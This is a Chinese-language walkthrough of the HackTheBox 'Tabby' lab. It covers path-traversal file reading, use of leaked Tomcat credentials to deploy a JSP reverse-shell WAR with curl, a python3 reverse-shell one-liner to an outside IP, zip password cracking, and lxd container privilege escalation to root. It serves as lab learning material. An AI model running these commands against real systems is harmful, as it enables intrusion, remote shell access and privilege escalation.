0%

HackTheBox---tabby

Tabby

User flag

nmap扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~/Desktop# nmap -sS -sV 10.10.10.194
Starting Nmap 7.80 ( ://nmap.org ) at 2020-10-27 01:53 EDT
Nmap scan report for 10.10.10.194
Host is up (0.11s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open http Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds

扫描发现除了22、80还开了8080。

文件读取

80是一个门户网站,没有太多的功能,以静态页面为主,翻了下源码与js,看到一个疑似路径穿越的请求: http://megahosting.htb/news.php?file=statement 但是域名是查不到dns解析结果的,直接访问不行。所以这里尝试绑定host试了下,发现可以成功访问,并且成功验证存在路径穿越文件读取。

这里文件读取的权限较低,没法读取 /var/lib/mlocate/mlocate.db,用路径穿越的fuzz字典跑了下也没有什么有价值的东西。用wfuzz跑了路径也没有结果,继续看下8080。

8080是tomcat9的默认页面,扫了目录没有多余的东西,只有安装的样例路径与管理路径,管理页面跑了一波弱口令,没有结果。想到前面的文件读取,可以读取出 tomcat9 的配置文件来找账号密码,拿到账号密码之后玩法就多了。

找密码配置文件

先试试读取tomcat的首页文件http://megahosting.htb/news.php?file=../../../../../../var/lib/tomcat9/webapps/ROOT/index.html返回正常,页面的NOTE说了配置文件在 /etc/tomcat9/tomcat-users.xml,但是直接读取却发现是空白的,尝试了 var/lib/tomcat9/conf/tomcat-users.xml 也不对。

不能一直盲猜路径,于是自己安装一个 tomcat9,然后全局搜一下 tomcat-users.xml ,发现本地其实是存在 2 个这个文件的, 但是权限不同,当前文件读取的用户权限较低,实际只能读取/usr/下的那一个

1
2
3
4
5
6
7
8
root@kali:/var/lib/tomcat9/conf# find / -name tomcat-users.xml 0>&1
/etc/tomcat9/tomcat-users.xml
/usr/share/tomcat9/etc/tomcat-users.xml

root@kali:/var/lib/tomcat9/conf# ls -la /etc/tomcat9/tomcat-users.xml
-rw-r----- 1 root tomcat 2164 10月 6 10:06 /etc/tomcat9/tomcat-users.xml
root@kali:/var/lib/tomcat9/conf# ls -la /usr/share/tomcat9/etc/tomcat-users.xml
-rw-r--r-- 1 root root 2164 10月 6 10:06 /usr/share/tomcat9/etc/tomcat-users.xml

在 /usr/share/tomcat9/etc/tomcat-users.xml 成功读取到了用户名与密码

1
2
3
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

getshell

这里拿到账号密码直接就登陆 manager 结果发现会 403,只具有 host-manager 的权限。再看前面我们拿到的账号角色是 roles=”admin-gui,manager-script” ,因此不能直接访问 manager 目录上传文件了,得在 host-manager 里面想办法。

搜了一下发现有个 host-manager 的利用方式 https://xz.aliyun.com/t/4435 ,下载了 impacket 安装之后起了一个smb的服务,本地用windows访问成功获取到了smb的目录结构,本地搭了同版本的 tomcat 之后也新增成功,但是题目里这边测试之后一直报错 “FAIL - Failed to create appBase directory [/var/lib/tomcat9/\192.168.1.90\data] for host [data]”,所以可能题目环境有变动,这条路也走不通了。

搜了下tomcat的manager相关权限

1
2
3
4
manager-gui:允许访问html接口(即URL路径为/manager/html/*)
manager-script:允许访问纯文本接口(即URL路径为/manager/text/*)
manager-jmx:允许访问JMX接口(即URL路径为/manager/jmxproxy/*)
manager-status:允许访问Tomcat只读状态页面(即URL路径为/manager/status/*)

同时在官方文档有这么一句:

The first time you attempt to issue one of the Manager commands described in the next section, you will be challenged to log on using BASIC authentication. The username and password you enter do not matter, as long as they identify a valid user in the users database who possesses the role manager-script.

大概意思就是只要用户角色有 manager-script 角色权限,那他就可以完成文档接下来的这些管理命令操作。先跑了一下list,证明确实有权限可以:

1
2
3
4
5
6
7
oot@kali:~/.ssh# curl -u 'tomcat:$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/list
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:0:/usr/share/tomcat9-admin/host-manager
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs

搜索了一下远程部署的语法,成功将jsp的反弹shell放上去了:

1
2
root@kali:~/Documents/jsp# curl --upload-file jsp-reverse.war "http://10.10.10.194:8080/manager/text/deploy?path=/weixin&update=true" -u 'tomcat:$3cureP4s5w0rd123!'
OK - Deployed application at context path [/weixin]

再次访问http://10.10.10.194:8080/manager/text/list ,发现已经多出了一个 /weixin 路径了

1
2
3
4
5
6
7
8
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:1:/usr/share/tomcat9-examples/examples
/host-manager:running:0:/usr/share/tomcat9-admin/host-manager
/weixin:running:0:weixin
/shell:running:2:shell
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs

访问http://10.10.10.194:8080/weixin/jsp_shell.jsp?pwd=023&i=ls 成功执行命令,这里用的最简单的webshell,不支持复杂命令,所以重新找了个shell传上去,然后发现服务器上有python3,使用以下句反弹shell到nc:

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",8989));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root flag

zip密码爆破

上去常规看了文件、进程都没有什么信息,sudo也提示没有权限,在home文件看到有个ash用户,但是没有密码,试了tomcat的密码也不对。然后去web目录看有没有什么隐藏的东西,结果在/var/www/html/files发现有个zip,打开还需要密码,kali 2020我这边已经不默认安装了,apt安装下就好,

1
2
root@kali:~/Downloads# fcrackzip -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip 
possible pw found: admin@it ()

解开之后看文件也没有什么区别,所以这里压缩文件存在的意义也就是爆破获得的这个密码了,结合该文件的属主和权限,这个密码极有可能就是ash的,切换到ash用户尝试了下密码正确,这里用id查看当前用户信息的时候出现一堆很奇怪的东西

1
2
ash@tabby:/$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

为了方便直接使用ssh连接试试,但是却一直报错

1
2
root@kali:~/Downloads# ssh ash@10.10.10.194
ash@10.10.10.194: Permission denied (publickey).

查了下说是因为禁用了密码登录但是此时又没有配置对应的公钥在服务器上,我们直接到ash的home目录下把自己的公钥覆盖到authorized_keys即可。

这里埋下了一个伏笔,第一天做到这里就停下来了。第二天环境已经被重置,我就没有再使用ssh,而是直接用反弹shell进行以下操作。

LinEnum.sh一件获取信息

现在有ash用户了,但是别的信息又没有了。所以用批量跑的工具LinEnum.sh试试看有没有有用信息,在最后几行出现了这个提示:

1
2
[+] We're a member of the (lxd) group - could possibly misuse these rights!
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

搜了下lxd,找到个提权的利用方法:https://www.hackingarticles.in/lxd-privilege-escalation/

lxd提权

因为靶场环境没有外网,所以只能先下载到本机,再用wget传到靶机。

1
2
3
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

执行完成之后会在本地生产一个tar.gz文件,再将该文件传到靶机即可。

这里出现第一个坑,在靶机环境里我用lxc image import来导入这个image一直提示我 no such file or directory,但是用ls查看文件确实在,后来查了下说可以远程加载,但是远程加载需要https。搞得我怀疑人生,一度想搭个https来远程加载试试。

最后转念一想,直接ssh连接上去试试?这一上去可就不得了了,我发现同时登陆的同一个用户,在同一个目录下看到的东西竟然不一样!!!

ssh远程连接在tmp目录看到的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ash@tabby:/tmp$ ll
total 3168
drwxrwxrwt 14 root root 4096 Oct 30 10:59 ./
drwxr-xr-x 20 root root 4096 May 19 10:28 ../
drwxrwxrwt 2 root root 4096 Oct 30 07:28 .font-unix/
drwxrwxrwt 2 root root 4096 Oct 30 07:28 .ICE-unix/
drwx------ 3 root root 4096 Oct 30 07:28 snap.lxd/
drwx------ 3 root root 4096 Oct 30 07:28 systemd-private-a23d3de84704442a9ff5425749776f5e-apache2.service-XxCOpf/
drwx------ 3 root root 4096 Oct 30 07:28 systemd-private-a23d3de84704442a9ff5425749776f5e-systemd-logind.service-J8QRdg/
drwx------ 3 root root 4096 Oct 30 07:28 systemd-private-a23d3de84704442a9ff5425749776f5e-systemd-resolved.service-CLttXe/
drwx------ 3 root root 4096 Oct 30 07:28 systemd-private-a23d3de84704442a9ff5425749776f5e-systemd-timesyncd.service-Hz2gpf/
drwx------ 3 root root 4096 Oct 30 07:28 systemd-private-a23d3de84704442a9ff5425749776f5e-tomcat9.service-USXFyi/
drwxrwxrwt 2 root root 4096 Oct 30 07:28 .Test-unix/
drwx------ 2 root root 4096 Oct 30 07:29 vmware-root_667-3980363901/
drwxrwxrwt 2 root root 4096 Oct 30 07:28 .X11-unix/
drwxrwxrwt 2 root root 4096 Oct 30 07:28 .XIM-unix/

反弹shell在tmp目录看到的内容:

1
2
3
4
5
6
7
8
9
10
11
12
ash@tabby:/tmp$ ll
ll
total 6240
drwxrwxrwt 3 root root 4096 Oct 30 09:46 ./
drwxr-xr-x 20 root root 4096 May 19 10:28 ../
-rw-rw-r-- 1 ash ash 3184058 Oct 29 13:48 1.tar.gz
-rwxrwxrwx 1 ash ash 3182665 Oct 30 09:11 222.tar.gz*
drwxr-x--- 2 tomcat tomcat 4096 Oct 30 07:28 hsperfdata_tomcat/
-rwxr-x--- 1 tomcat tomcat 637 Oct 30 10:52 tst.pl*
ash@tabby:/tmp$ pwd
pwd
/tmp

怪不得我import一直提示文件不存在,这里没明白为什么。

换成ssh登陆之后就正常操作如下即可完成提权了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ash@tabby:~/chen$  lxc image import 123.tar.gz --alias myimage
lxc image import 123.tar.gz --alias myimage
ash@tabby:/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-------------------------------+
| myimage | b3a8626c5b30 | no | alpine v3.12 (20201030_05:11) | x86_64 | CONTAINER | 3.04MB | Oct 30, 2020 at 11:00am (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-------------------------------+
ash@tabby:/tmp$ lxc init myimage ignite -c security.privileged=true
Creating ignite
ash@tabby:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:/tmp$ lxc start ignite
ash@tabby:/tmp$ lxc exec ignite /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root
/mnt/root # ls
bin dev lib libx32 mnt root snap sys var
boot etc lib32 lost+found opt run srv tmp
cdrom home lib64 media proc sbin swap.img usr
/mnt/root # cd root
/mnt/root/root # ls
root.txt snap
/mnt/root/root # cat root.txt
609dbfb5ff48fa3c9c79cc5541752910
/mnt/root/root # id
uid=0(root) gid=0(root)
/mnt/root/root # exit

总结

在getshell的过程学习到了tomcat4种不同权限的利用方式,即使不能直接登录到manager也可以通过curl进行上传shell,在提权的过程中学习了lxd这一虚拟化技术的提权操作。

为什么反弹shell和ssh上去看到的目录不一样还是没搞懂~~~